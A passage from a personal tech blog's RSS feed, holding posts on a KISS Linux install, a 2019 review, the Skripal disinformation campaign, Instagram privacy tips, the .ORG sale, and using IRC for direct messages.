1421culprit was <code>CONFIG_BLK_DEV_NVME</code> not having been set in the kernel
1422config. Rebuild & reboot later, I was in.</p>
1423
1424<h3 id="day-2">Day 2</h3>
1425
1426<p>Networking! How fun. An <code>ip a</code> and I see that both USB tethering
1427(ethernet) and wireless don’t work. Great. Dug around a bit—missing
1428wireless drivers was the problem. Found my driver, a binary <code>.ucode</code> from
1429Intel (eugh!). The whole day was spent in figuring out why the kernel
1430would never load the firmware. I tried different variations—loading
1431it as a module (<code>=m</code>), baking it in (<code>=y</code>) but no luck.</p>
1432
1433<h3 id="day-3">Day 3</h3>
1434
1435<p>I then tried Alpine’s kernel config but that was so huge and had a <em>ton</em>
1436of modules and took far too long to build each time, much to my
1437annoyance. Diffing their config and mine was about ~3000 lines! Too much
1438to sift through. On a whim, I decided to scrap my entire KISS install
1439and start afresh. </p>
1440
1441<p>For some odd reason, after doing the <em>exact</em> same things I’d done
1442earlier, my wireless worked this time. Ethernet didn’t, and still
1443doesn’t, but that’s ok.</p>
1444
1445<p>Building <code>xorg-server</code> was next, which took about an hour, mostly thanks
1446to spotty internet. The build went through fine, though what wasn’t was
1447no input after starting X. Adding my user to the <code>input</code> group wasn’t
1448enough. The culprit this time was a missing <code>xf86-xorg-input</code> package.
1449Installing that gave me my mouse back, but not the keyboard!</p>
1450
1451<p>It was definitely not the kernel this time, because I had a working
1452keyboard in the TTY. </p>
1453
1454<h3 id="day-4-day-5">Day 4 & Day 5</h3>
1455
1456<p>This was probably the most annoying of all, since the fix was <em>trivial</em>.
1457By this point I had exhausted all ideas, so I decided to build my
1458essential packages and setup my system. Building Firefox took nearly
14599 hours, the other stuff were much faster.</p>
1460
1461<p>I was still chatting on IRC during this, trying to zero down on what the
1462problem could be. And then:</p>
1463
1464<pre><code><dylanaraps> For starters I think st fails due to no fonts.
1465</code></pre>
1466
1467<p>Holy shit! Fonts. I hadn’t installed <em>any</em> fonts. Which is why none of
1468the applications I tried launching via <code>sowm</code> ever launched, and hence,
1469I was lead to believe my keyboard was dead.</p>
1470
1471<h2 id="worth-it">Worth it?</h2>
1472
1473<p>Absolutely. I <em>cannot</em> stress on how much of a learning experience this
1474was. Also a test of my patience and perseverance, but yeah ok. I also
1475think that this distro is my endgame (yeah, right), probably because
1476other distros will be nothing short of disappointing, in one way or
1477another.</p>
1478
1479<p>Huge thanks to the folks at <code>#kisslinux</code> on Freenode for helping me
1480throughout. And I mean, they <em>really</em> did. We chatted for hours on end
1481trying to debug my issues.</p>
1482
1483<p>I’ll now conclude with an obligatory screenshot.</p>
1484
1485<p><img src="https://x.icyphox.sh/R6G.png" alt="scrot" /></p>
1486
1487<div class="footnotes">
1488<hr />
1489<ol>
1490<li id="fn-hn">
1491<p><a href="https://news.ycombinator.com/item?id=21021396">https://news.ycombinator.com/item?id=21021396</a> <a href="#fnref-hn" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1492</li>
1493</ol>
1494</div>
1495]]></description><link>https://icyphox.sh/blog/five-days-tty</link><pubDate>Mon, 13 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/five-days-tty</guid></item><item><title>2019 in review</title><description><![CDATA[<p>Just landed in a rainy Chennai, back in campus for my 6th semester.
1496A little late to the “year in review blog post” party; travel took up
1497most of my time. Last year was pretty eventful (at least in my books),
1498and I think I did a bunch of cool stuff—let’s see!</p>
1499
1500<h2 id="interning-at-securelayer7">Interning at SecureLayer7</h2>
1501
1502<p>Last summer, I interned at <a href="https://securelayer7.net">SecureLayer7</a>,
1503a security consulting firm in Pune, India. My work was mostly in
1504hardware and embededded security research. I learnt a ton about ARM and
1505MIPS reversing and exploitation, UART and JTAG, firmware RE and
1506enterprise IoT security.</p>
1507
1508<p>I also earned my first CVE! I’ve written about it in detail
1509<a href="/blog/fb50">here</a>.</p>
1510
1511<h2 id="conferences">Conferences</h2>
1512
1513<p>I attended two major conferences last year—Nullcon Goa and PyCon
1514India. Both super fun experiences and I met a ton of cool people!
1515<a href="https://twitter.com/icyphox/status/1101022604851212288">Nullcon Twitter thread</a>
1516and <a href="/blog/pycon-wrap-up">PyCon blog post</a>.</p>
1517
1518<h2 id="talks">Talks</h2>
1519
1520<p>I gave two talks last year:</p>
1521
1522<ol>
1523<li><em>Intro to Reverse Engineering</em> at Cyware 2019</li>
1524<li><em>"Smart lock? Nah dude."</em> at PyCon India</li>
1525</ol>
1526
1527<h2 id="things-i-made">Things I made</h2>
1528
1529<p>Not in order, because I CBA:</p>
1530
1531<ul>
1532<li><a href="https://github.com/icyphox/repl">repl</a>: More of a quick bash hack,
1533I don’t really use it.</li>
1534<li><a href="https://github.com/icyphox/pw">pw</a>: A password manager. This,
1535I actually do use. I’ve even written a tiny
1536<a href="https://github.com/icyphox/dotfiles/blob/master/bin/pwmenu.sh"><code>dmenu</code> wrapper</a>
1537for it. </li>
1538<li><a href="https://github.com/icyphox/twsh">twsh</a>: An incomplete twtxt client,
1539in bash. I have yet to get around to finishing it.</li>
1540<li><a href="https://github.com/icyphox/alpine">alpine ports</a>: My APKBUILDs for
1541Alpine.</li>
1542<li><a href="https://github.com/icyphox/detotated">detotated</a>: An IRC bot written
1543in Python. See <a href="/blog/irc-for-dms">IRC for DMs</a>.</li>
1544<li><a href="https://github.com/icyphox/icyrc">icyrc</a>: A no bullshit IRC client,
1545because WeeChat is bloat.</li>
1546</ul>
1547
1548<p>I probably missed something, but whatever.</p>
1549
1550<h2 id="blog-posts">Blog posts</h2>
1551
1552<pre><code>$ ls -1 pages/blog/*.md | wc -l
155320
1554</code></pre>
1555
1556<p>So excluding today’s post, and <code>_index.md</code>, that’s 18 posts! I had
1557initially planned to write one post a month, but hey, this is great. My
1558plan for 2020 is to write one post a <em>week</em>—unrealistic, I know, but
1559I will try nevertheless.</p>
1560
1561<p>I wrote about a bunch of things, ranging from programming to
1562return-oriented-programming (heh), sysadmin and security stuff, and
1563a hint of culture and philosophy. Nice!</p>
1564
1565<p>The <a href="/blog/python-for-re-1">Python for Reverse Engineering</a> post got
1566a ton of attention on the interwebz, so that was cool.</p>
1567
1568<h2 id="bye-2019">Bye 2019</h2>
1569
1570<p>2019 was super productive! (in my terms). I learnt a lot of new things
1571last year, and I can only hope to learn as much in 2020. :)</p>
1572
1573<p>I’ll see you next week.</p>
1574]]></description><link>https://icyphox.sh/blog/2019-in-review</link><pubDate>Thu, 02 Jan 2020 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-in-review</guid></item><item><title>Disinfo war&#58; RU vs GB</title><description><![CDATA[<p>This entire sequence of events begins with the attempted poisoning of
1575Sergei Skripal<sup class="footnote-ref" id="fnref-skripal"><a href="#fn-skripal">1</a></sup>, an ex-GRU officer who was a double-agent for
1576the UK’s intelligence services. This hit attempt happened on the 4th of
1577March, 2018. 8 days later, then-Prime Minister Theresa May formally
1578accused Russia for the attack.</p>
1579
1580<p>The toxin used in the poisoning was a nerve agent called <em>Novichok</em>.
1581In addition to the British military-research facility at Porton Down,
1582a small number of labs around the world were tasked with confirming
1583Porton Down’s conclusions on the toxin that was used, by the OPCW
1584(Organisation for the Prohibition of Chemical Weapons).</p>
1585
1586<p>With the background on the matter out of the way, here are the different
1587instances of well timed disinformation pushed out by Moscow.</p>
1588
1589<h2 id="the-russian-offense">The Russian offense</h2>
1590
1591<h3 id="april-14-2018">April 14, 2018</h3>
1592
1593<ul>
1594<li>RT published an article claiming that Spiez had identified a different
1595toxin—BZ, and not Novichok.</li>
1596<li>This was an attempt to shift the blame from Russia (origin of Novichok),
1597to NATO countries, where it was apparently in use.</li>
1598<li>Most viral piece on the matter in all of 2018.</li>
1599</ul>
1600
1601<p>Although technically correct, this isn’t the entire truth. As part of
1602protocol, the OPCW added a new substance to the sample as a test. If any
1603of the labs failed to identify this substance, their findings were
1604deemed untrustworthy. This toxin was a derivative of BZ.</p>
1605
1606<p>Here are a few interesting things to note:</p>
1607
1608<ol>
1609<li>The entire process starting with the OPCW and the labs is top-secret.
1610How did Russia even know Speiz was one of the labs?</li>
1611<li>On April 11th, the OPCW mentioned BZ in a report confirming Porton
1612Down’s findings. Note that Russia is a part of OPCW, and are fully
1613aware of the quality control measures in place. Surely they knew
1614about the reason for BZ’s use?</li>
1615</ol>
1616
1617<p>Regardless, the Russian version of the story spread fast. They cashed in
1618on two major factors to plant this disinfo:</p>
1619
1620<ol>
1621<li>“NATO bad” : Overused, but surprisingly works. People love a story
1622that goes full 180°.</li>
1623<li>Spiez can’t defend itself: At the risk of revealing that it was one
1624of the facilities testing the toxin, Spiez was only able to “not
1625comment”.</li>
1626</ol>
1627
1628<h3 id="april-3-2018">April 3, 2018</h3>
1629
1630<ul>
1631<li>The Independent publishes a story based on an interview with the chief
1632executive of Porton Down, Gary Aitkenhead.</li>
1633<li>Aitkenhead says they’ve identified Novichok but “have not identified
1634the precise source”.</li>
1635<li>Days earlier, Boris Johnson (then-Foreign Secretary) claimed that
1636Porton Down confirmed the origin of the toxin to be Russia.</li>
1637<li>This discrepancy was immediately promoted by Moscow, and its network
1638all over.</li>
1639</ul>
1640
1641<p>This one is especially interesting because of how <em>simple</em> it is to
1642exploit a small contradiction, that could’ve been an honest mistake.
1643This episode is also interesting because the British actually attempted
1644damage control this time. Porton Down tried to clarify Aitkenhead’s
1645statement via a tweet<sup class="footnote-ref" id="fnref-dstltweet"><a href="#fn-dstltweet">2</a></sup>:</p>
1646
1647<blockquote>
1648 <p>Our experts have precisely identified the nerve agent as a Novichok.
1649 It is not, and has never been, our responsibility to confirm the source
1650 of the agent @skynews @UKmoments</p>
1651</blockquote>
1652
1653<p>Quoting the <a href="https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/">Defense One</a>
1654article on the matter:</p>
1655
1656<blockquote>
1657 <p>The episode is seen by those inside Britain’s security communications team
1658 as the most serious misstep of the crisis, which for a period caused real
1659 concern. U.K. officials told me that, in hindsight, Aikenhead could never
1660 have blamed Russia directly, because that was not his job—all he was
1661 qualified to do was identify the chemical. Johnson, in going too far,
1662 was more damaging. Two years on, he is now prime minister.</p>
1663</blockquote>
1664
1665<h3 id="may-2018">May 2018</h3>
1666
1667<ul>
1668<li>OPCW facilities receive an email from Spiez inviting them to
1669a conference.</li>
1670<li>The conference itself is real, and has been organized before.</li>
1671<li>The email however, was not—attached was a Word document containing
1672malware.</li>
1673<li>Also seen were inconsistencies in the email formatting, from what was
1674normal.</li>
1675</ul>
1676
1677<p>This spearphishing campaign was never offically attributed to Moscow,
1678but there are a lot of tells here that point to it being the work of
1679a state actor:</p>
1680
1681<ol>
1682<li>Attack targetting a specific group of individuals.</li>
1683<li>Relatively high level of sophistication—email formatting,
1684malicious Word doc, etc.</li>
1685</ol>
1686
1687<p>However, the British NCSC have deemed with “high confidence” that the
1688attack was perpetrated by GRU. In the UK intelligence parlance, “highly
1689likely” / “high confidence” usually means “definitely”.</p>
1690
1691<h2 id="britains-defense">Britain’s defense</h2>
1692
1693<h3 id="september-5-2018">September 5, 2018</h3>
1694
1695<p>The UK took a lot of hits in 2018, but they eventually came back:</p>
1696
1697<ul>
1698<li>Metropolitan Police has a meeting with the press, releasing their
1699findings.</li>
1700<li>CCTV footage showing the two Russian hitmen was released.</li>
1701<li>Traces of Novichok identified in their hotel room.</li>
1702</ul>
1703
1704<p>This sudden news explosion from Britan’s side completely
1705bulldozed the information space pertaining to the entire event.
1706According to Defense One:</p>
1707
1708<blockquote>
1709 <p>Only two of the 10 most viral stories in the weeks following the announcement
1710 were sympathetic to Russia, according to NewsWhip. Finally, officials recalled,
1711 it felt as though the U.K. was the aggressor. “This was all kept secret to
1712 put the Russians on the hop,” one told me. “Their response was all over the
1713 place from this point. It was the turning point.”</p>
1714</blockquote>
1715
1716<p>Earlier in April, 4 GRU agents were arrested in the Netherlands, who
1717were there to execute a cyber operation against the OPCW (located in The
1718Hague), via their WiFi networks. They were arrested by Dutch security,
1719and later identifed as belonging to Unit 26165. They also seized a bunch
1720of equipment from the room and their car.</p>
1721
1722<blockquote>
1723 <p>The abandoned equipment revealed that the GRU unit involved had sent
1724 officers around the world to conduct similar cyberattacks. They had
1725 been in Malaysia trying to steal information about the investigation
1726 into the downed Malaysia Airlines Flight 17, and at a hotel in Lausanne,
1727 Switzerland, where a World Anti-Doping Agency (WADA) conference was taking
1728 place as Russia faced sanctions from the International Olympic Committee.
1729 Britain has said that the same GRU unit attempted to compromise Foreign
1730 Office and Porton Down computer systems after the Skripal poisoning.</p>
1731</blockquote>
1732
1733<h3 id="october-4-2018">October 4, 2018</h3>
1734
1735<p>UK made the arrests public, published a list of infractions commited by
1736Russia, along with the specific GRU unit that was caught.</p>
1737
1738<p>During this period, just one of the top 25 viral stories was from
1739a pro-Russian outlet, RT—that too a fairly straightforward piece.</p>
1740
1741<h2 id="wrapping-up">Wrapping up</h2>
1742
1743<p>As with conventional warfare, it’s hard to determine who won. Britain
1744may have had the last blow, but Moscow—yet again---depicted their
1745finesse in information warfare. Their ability to seize unexpected
1746openings, gather intel to facilitate their disinformation campaigns, and
1747their cyber capabilities makes them a formidable threat. </p>
1748
1749<p>2020 will be fun, to say the least.</p>
1750
1751<div class="footnotes">
1752<hr />
1753<ol>
1754<li id="fn-skripal">
1755<p><a href="https://en.wikipedia.org/wiki/Sergei_Skripal">https://en.wikipedia.org/wiki/Sergei_Skripal</a> <a href="#fnref-skripal" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1756</li>
1757
1758<li id="fn-dstltweet">
1759<p><a href="https://twitter.com/dstlmod/status/981220158680260613">https://twitter.com/dstlmod/status/981220158680260613</a> <a href="#fnref-dstltweet" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1760</li>
1761</ol>
1762</div>
1763]]></description><link>https://icyphox.sh/blog/ru-vs-gb</link><pubDate>Thu, 12 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ru-vs-gb</guid></item><item><title>Instagram OPSEC</title><description><![CDATA[<p>Which I am not, of course. But seeing as most of my peers are, I am
1764compelled to write this post. Using a social platform like Instagram
1765automatically implies that the user understands (to some level) that
1766their personally identifiable information is exposed publicly, and they
1767sign up for the service understanding this risk—or I think they do,
1768anyway. But that’s about it, they go ham after that. Sharing every nitty
1769gritty detail of their private lives without understanding the potential
1770risks of doing so.</p>
1771
1772<p>The fundamentals of OPSEC dictacte that you develop a threat model, and
1773Instgrammers are <em>obviously</em> incapable of doing that—so I’ll do it
1774for them. </p>
1775
1776<h2 id="your-average-instagrammers-threat-model">Your average Instagrammer’s threat model</h2>
1777
1778<p>I stress on the word “average”, as in this doesn’t apply to those with
1779more than a couple thousand followers. Those type of accounts inherently
1780face different kinds of threats—those that come with having
1781a celebrity status, and are not in scope of this analysis.</p>
1782
1783<ul>
1784<li><p><strong>State actors</strong>: This doesn’t <em>really</em> fit into our threat model,
1785since our target demographic is simply not important enough. That said,
1786there are select groups of individuals that operate on
1787Instagram<sup class="footnote-ref" id="fnref-ddepisode"><a href="#fn-ddepisode">1</a></sup>, and they can potentially be targetted by a state
1788actor.</p></li>
1789<li><p><strong>OSINT</strong>: This is probably the biggest threat vector, simply because
1790of the amount of visual information shared on the platform. A lot can be
1791gleaned from one simple picture in a nondescript alleyway. We’ll get
1792into this in the DOs and DON’Ts in a bit.</p></li>
1793<li><p><strong>Facebook & LE</strong>: Instagram is the last place you want to be doing an
1794illegal, because well, it’s logged and more importantly—not
1795end-to-end encrypted. Law enforcement can subpoena any and all account
1796information. Quoting Instagram’s
1797<a href="https://help.instagram.com/494561080557017">page on this</a>:</p></li>
1798</ul>
1799
1800<blockquote>
1801 <p>a search warrant issued under the procedures described in the Federal
1802 Rules of Criminal Procedure or equivalent state warrant procedures
1803 upon a showing of probable cause is required to compel the disclosure
1804 of the stored contents of any account, which may include messages,
1805 photos, comments, and location information.</p>
1806</blockquote>
1807
1808<p>That out of the way, here’s a list of DOs and DON’Ts to keep in mind
1809while posting on Instagram.</p>
1810
1811<h3 id="donts">DON’Ts</h3>
1812
1813<ul>
1814<li><p>Use Instagram for planning and orchestrating illegal shit! I’ve
1815explained why this is a terrible idea above. Use secure comms—even
1816WhatsApp is a better choice, if you have nothing else. In fact, try
1817avoiding IG DMs altogether, use alternatives that implement E2EE.</p></li>
1818<li><p>Film live videos outside. Or try not to, if you can. You might
1819unknowingly include information about your location: street signs,
1820shops etc. These can be used to ascertain your current location.</p></li>
1821<li><p>Film live videos in places you visit often. This compromises your
1822security at places you’re bound to be at.</p></li>
1823<li><p>Share your flight ticket in your story! I can’t stress this enough!!!
1824Summer/winter break? “Look guys, I’m going home! Here’s where I live,
1825and here’s my flight number—feel free to track me!”. This scenario is
1826especially worrisome because the start and end points are known to the
1827threat actor, and your arrival time can be trivially looked up—thanks
1828to the flight number on your ticket. So, just don’t.</p></li>
1829<li><p>Post screenshots with OS specific details. This might border on
1830pendantic, but better safe than sorry. Your phone’s statusbar and navbar
1831are better cropped out of pictures. They reveal the time, notifications
1832(apps that you use), and can be used to identify your phone’s operating
1833system. Besides, the status/nav bar isn’t very useful to your screenshot
1834anyway.</p></li>
1835<li><p>Share your voice. In general, reduce your footprint on the platform
1836that can be used to identify you elsewhere.</p></li>
1837<li><p>Think you’re safe if your account is set to private. It doesn’t take
1838much to get someone who follows you, to show show your profile on their
1839device.</p></li>
1840</ul>
1841
1842<h3 id="dos">DOs</h3>
1843
1844<ul>
1845<li><p>Post pictures that pertain to a specific location, once you’ve moved
1846out of the location. Also applies to stories. It can wait.</p></li>
1847<li><p>Post pictures that have been shot indoors. Or try to; reasons above.
1848Who woulda thunk I’d advocate bathroom selfies?</p></li>
1849<li><p>Delete old posts that are irrelevant to your current audience. Your
1850friends at work don’t need to know about where you went to high school.</p></li>
1851</ul>
1852
1853<p>More DON’Ts than DOs, that’s very telling. Here are a few more points
1854that are good OPSEC practices in general:</p>
1855
1856<ul>
1857<li><strong>Think before you share</strong>. Does it conform to the rules mentioned above?</li>
1858<li><strong>Compartmentalize</strong>. Separate as much as you can from what you share
1859online, from what you do IRL. Limit information exposure.</li>
1860<li><strong>Assess your risks</strong>: Do this often. People change, your environments
1861change, and consequentially the risks do too.</li>
1862</ul>
1863
1864<h2 id="fin">Fin</h2>
1865
1866<p>Instagram is—much to my dismay---far too popular for it to die any
1867time soon. There are plenty of good reasons to stop using the platform
1868altogether (hint: Facebook), but that’s a discussion for another day.</p>
1869
1870<p>Or be like me:</p>
1871
1872<p><img src="/static/img/ig.jpg" alt="0 posts lul" /></p>
1873
1874<p>And that pretty much wraps it up, with a neat little bow.</p>
1875
1876<div class="footnotes">
1877<hr />
1878<ol>
1879<li id="fn-ddepisode">
1880<p><a href="https://darknetdiaries.com/episode/51/">https://darknetdiaries.com/episode/51/</a>—Jack talks about Indian hackers who operate on Instagram. <a href="#fnref-ddepisode" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1881</li>
1882</ol>
1883</div>
1884]]></description><link>https://icyphox.sh/blog/ig-opsec</link><pubDate>Mon, 02 Dec 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/ig-opsec</guid></item><item><title>Save .ORG!</title><description><![CDATA[<p>The .ORG top-level domain introduced in 1985, has been operated by the
1885<a href="https://en.wikipedia.org/wiki/Public_Interest_Registry">Public Interest Registry</a> since
18862003. The .ORG TLD is used primarily by communities, free and open source projects,
1887and other non-profit organizations—although the use of the TLD isn’t
1888restricted to non-profits.</p>
1889
1890<p>The Internet Society or ISOC, the group that created the PIR, has
1891decided to sell the registry over to a private equity firm—Ethos
1892Capital.</p>
1893
1894<h2 id="whats-the-problem">What’s the problem?</h2>
1895
1896<p>There are around 10 million .ORG TLDs registered, and a good portion of
1897them are non-profits and non-governmental organizations. As the name
1898suggests, they don’t earn any profits and all their operations rely on
1899a thin inflow of donations. A private firm having control of the .ORG
1900domain gives them the power to make decisions that would be unfavourable
1901to the .ORG community:</p>
1902
1903<ul>
1904<li><p>They control the registration/renewal fees of the TLD. They can
1905hike the price if they wish to. As is stands, NGOs already earn very
1906little—a .ORG price hike would put them in a very icky situation.</p></li>
1907<li><p>They can introduce <a href="https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en">Rights Protection
1908Mechanisms</a>
1909or RPMs, which are essentially legal statements that can—if not
1910correctly developed—jeopardize / censor completely legal non-profit
1911activities.</p></li>
1912<li><p>Lastly, they can suspend domains at the whim of state actors. It isn’t
1913news that nation states go after NGOs, targetting them with allegations
1914of illegal activity. The registry being a private firm only simplifies
1915the process.</p></li>
1916</ul>
1917
1918<p>Sure, these are just “what ifs” and speculations, but the risk is real.
1919Such power can be abused and this would be severly detrimental to NGOs
1920globally.</p>
1921
1922<h2 id="how-can-i-help">How can I help?</h2>
1923
1924<p>We need to get the ISOC to <strong>stop the sale</strong>. Head over to
1925<a href="https://savedotorg.org">https://savedotorg.org</a> and sign their letter. An email is sent on your
1926behalf to:</p>
1927
1928<ul>
1929<li>Andrew Sullivan, CEO, ISOC</li>
1930<li>Jon Nevett, CEO, PIR</li>
1931<li>Maarten Botterman, Board Chair, ICANN</li>
1932<li>Göran Marby, CEO, ICANN</li>
1933</ul>
1934
1935<h2 id="closing-thoughts">Closing thoughts</h2>
1936
1937<p>The Internet that we all love and care for is slowly being subsumed by
1938megacorps and private firms, who’s only motive is to make a profit. The
1939Internet was meant to be free, and we’d better act now if we want that
1940freedom. The future looks bleak—I hope we aren’t too late.</p>
1941]]></description><link>https://icyphox.sh/blog/save-org</link><pubDate>Sat, 23 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/save-org</guid></item><item><title>Status update</title><description><![CDATA[<p>This month is mostly just unfun stuff, lined up in a neat schedule --
1942exams. I get all these cool ideas for things to do, and it’s always
1943during exams. Anyway, here’s a quick update on what I’ve been up to.</p>
1944
1945<h2 id="blog-post-queue">Blog post queue</h2>
1946
1947<p>I realized that I could use this site’s
1948<a href="https://github.com/icyphox/site">repo</a>’s issues to track blog post ideas.
1949I’ve made a few, mostly just porting them over from my Google Keep note.</p>
1950
1951<p>This method of using issues is great, because readers can chime in with
1952ideas for things I could possibly discuss—like in <a href="https://github.com/icyphox/site/issues/10">this
1953issue</a>.</p>
1954
1955<h2 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h2>
1956
1957<p><a href="https://github.com/icyphox/vite"><code>vite</code></a>, despite what the name suggests
1958-- is awfully slow. Also, Python is bloat.
1959Will rewriting it fix that? That’s what I plan to find out. I have
1960a couple of choices of languages to use in the rewrite:</p>
1961
1962<ul>
1963<li>C: Fast, compiled. Except I suck at it. (<code>cite</code>?)</li>
1964<li>Nim: My favourite, but I’ll have to write bindings to <a href="https://github.com/kristapsdz/lowdown"><code>lowdown(1)</code></a>. (<code>nite</code>?)</li>
1965<li>Shell: Another favourite, muh “minimalsm”. No downside, really.
1966(<code>shite</code>?)</li>
1967</ul>
1968
1969<p>Oh, and did I mention—I want it to be compatible with <code>vite</code>.
1970I don’t want to have to redo my site structure or its templates. At the
1971moment, I rely on Jinja2 for templating, so I’ll need something similar.</p>
1972
1973<h2 id="irc-bot">IRC bot</h2>
1974
1975<p>My earlier post on <a href="/blog/irc-for-dms">IRC for DMs</a> got quite a bit of
1976traction, which was pretty cool. I didn’t really talk much about the bot
1977itself though; I’m dedicating this section to
1978<a href="https://github.com/icyphox/detotated">detotated</a>.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
1979
1980<p>Fairly simple Python code, using plain sockets. So far, we’ve got a few
1981basic features in place:</p>
1982
1983<ul>
1984<li><code>.np</code> command: queries the user’s last.fm to get the currently playing
1985track</li>
1986<li>Fetches the URL title, when a URL is sent in chat</li>
1987</ul>
1988
1989<p>That’s it, really. I plan to add a <code>.nps</code>, or “now playing Spotify”
1990command, since we share Spotify links pretty often.</p>
1991
1992<h2 id="other">Other</h2>
1993
1994<p>I’ve been reading some more manga, I’ll update the <a href="/reading">reading
1995log</a> when I, well… get around to it. Haven’t had time to do
1996much in the past few weeks—the time at the end of a semester tends to
1997get pretty tight. Here’s what I plan to get back to during this winter break:</p>
1998
1999<ul>
2000<li>Russian!</li>
2001<li>Window manager in Nim</li>
2002<li><code>vite</code> rewrite, probably</li>
2003<li>The other blog posts in queue</li>
2004</ul>
2005
2006<p>I’ve also put off doing any “security work” for a while now, perhaps
2007that’ll change this December. Or whenever.</p>
2008
2009<p>With that ends my status update, on all things that I <em>haven’t</em> done.</p>
2010
2011<div class="footnotes">
2012<hr />
2013<ol>
2014<li id="fn-1">
2015<p><a href="https://knowyourmeme.com/memes/dedotated-wam">https://knowyourmeme.com/memes/dedotated-wam</a> (dead meme, yes I know) <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
2016</li>
2017</ol>
2018</div>
2019]]></description><link>https://icyphox.sh/blog/2019-11-16</link><pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-11-16</guid></item><item><title>IRC for DMs</title><description><![CDATA[<p><a href="https://nerdypepper.me">Nerdy</a> and I decided to try and use IRC for our
2020daily communications, as opposed to non-free alternatives like WhatsApp
2021or Telegram. This is an account of how that went.</p>
2022
2023<h2 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h2>
2024
2025<p>I’ve tried a <em>ton</em> of messaging applications—Signal, WhatsApp,
2026Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p>
2027
2028<p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the
2029centralized architecture, and OWS’s refusal to federate.</p>
2030
2031<p><strong>WhatsApp</strong>: Facebook’s spyware that people use without a second
2032thought. The sole reason I have it installed is for University’s
2033class groups; I can’t wait to graduate.</p>
2034
2035<p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It’s
2036got a very nice Android client, though.</p>
2037
2038<p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment
2039on this because I don’t recall what my experience was like, but I’m not
2040using it now… so if that’s indicative of anything.</p>
2041
2042<p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations.
2043Overall, pretty great, but it’s slow. I’ve had messages not send / not
2044received a lot of times. Matrix + Riot excels in group communication, but
2045really sucks for one-to-one chats.</p>
2046
2047<p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p>
2048
2049<p><strong>DeltaChat</strong>: Pretty interesting idea—on paper. Using existing email
2050infrastructure for IM sounds great, but it isn’t all that cash in
2051practice. Email isn’t instant, there’s always a delay of give or take
20525 to 10 seconds, if not more. This affects the flow of conversation.
2053I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref-deltachat"><a href="#fn-deltachat">2</a></sup></p>
2054
2055<h2 id="why-irc">Why IRC?</h2>
2056
2057<p>It’s free, in all senses of the word. A lot of others have done a great
2058job of answering this question in further detail, this is by far my
2059favourite:</p>
2060
2061<p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p>
2062
2063<h2 id="using-ircs-private-messages">Using IRC’s private messages</h2>
2064
2065<p>This was the next obvious choice, but personal message buffers don’t
2066persist in ZNC and it’s very annoying to have to do a <code>/query
2067nerdypepper</code> (Weechat) or to search and message a user via Revolution
2068IRC. The only unexplored option—using a channel.</p>
2069
2070<h2 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h2>
2071
2072<p>A fairly easy process:</p>
2073
2074<ul>
2075<li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref-modes"><a href="#fn-modes">1</a></sup>:</p>
2076
2077<pre><code>#crimson [+ilnpstz 3]
2078</code></pre>
2079
2080<p>In essence, this limits the users to 3 (one bot), sets the channel to invite only,
2081hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
2082modes.</p></li>
2083<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a>
2084to send a notification for all messages in the specified buffer
2085(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
2086hand, has an option to setup rules for notifications—super
2087convenient.</p></li>
2088<li><p>A bot: Lastly, a bot for a few small tasks—fetching URL titles, responding
2089to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
2090took me about an hour or two to get most of the basic functionality in
2091place. The source is <a href="https://github.com/icyphox/detotated">here</a>.
2092It is by no means “good code”; it breaks spectacularly from time to
2093time.</p></li>
2094</ul>
2095
2096<h2 id="in-conclusion">In conclusion</h2>
2097
2098<p>As the subtitle suggests, using IRC has been great. It’s probably not
2099for everyone though, but it fits my (and Nerdy’s) usecase perfectly.</p>
2100
2101<p>P.S.: <em>I’m not sure why the footnotes are reversed.</em></p>
2102
2103<div class="footnotes">
2104<hr />
2105<ol>
2106<li id="fn-modes">
2107<p>Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes">Rizon</a>. <a href="#fnref-modes" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
2108</li>
2109
2110<li id="fn-deltachat">
2111<p>It’s in <a href="https://github.com/icyphox/site/issues/10">queue</a>. <a href="#fnref-deltachat" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
2112</li>
2113</ol>
2114</div>
2115]]></description><link>https://icyphox.sh/blog/irc-for-dms</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/irc-for-dms</guid></item><item><title>The intelligence conundrum</title><description><![CDATA[<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)">S.W.A.T.</a>
2116episode a couple of days ago, and it highlighted some interesting issues that
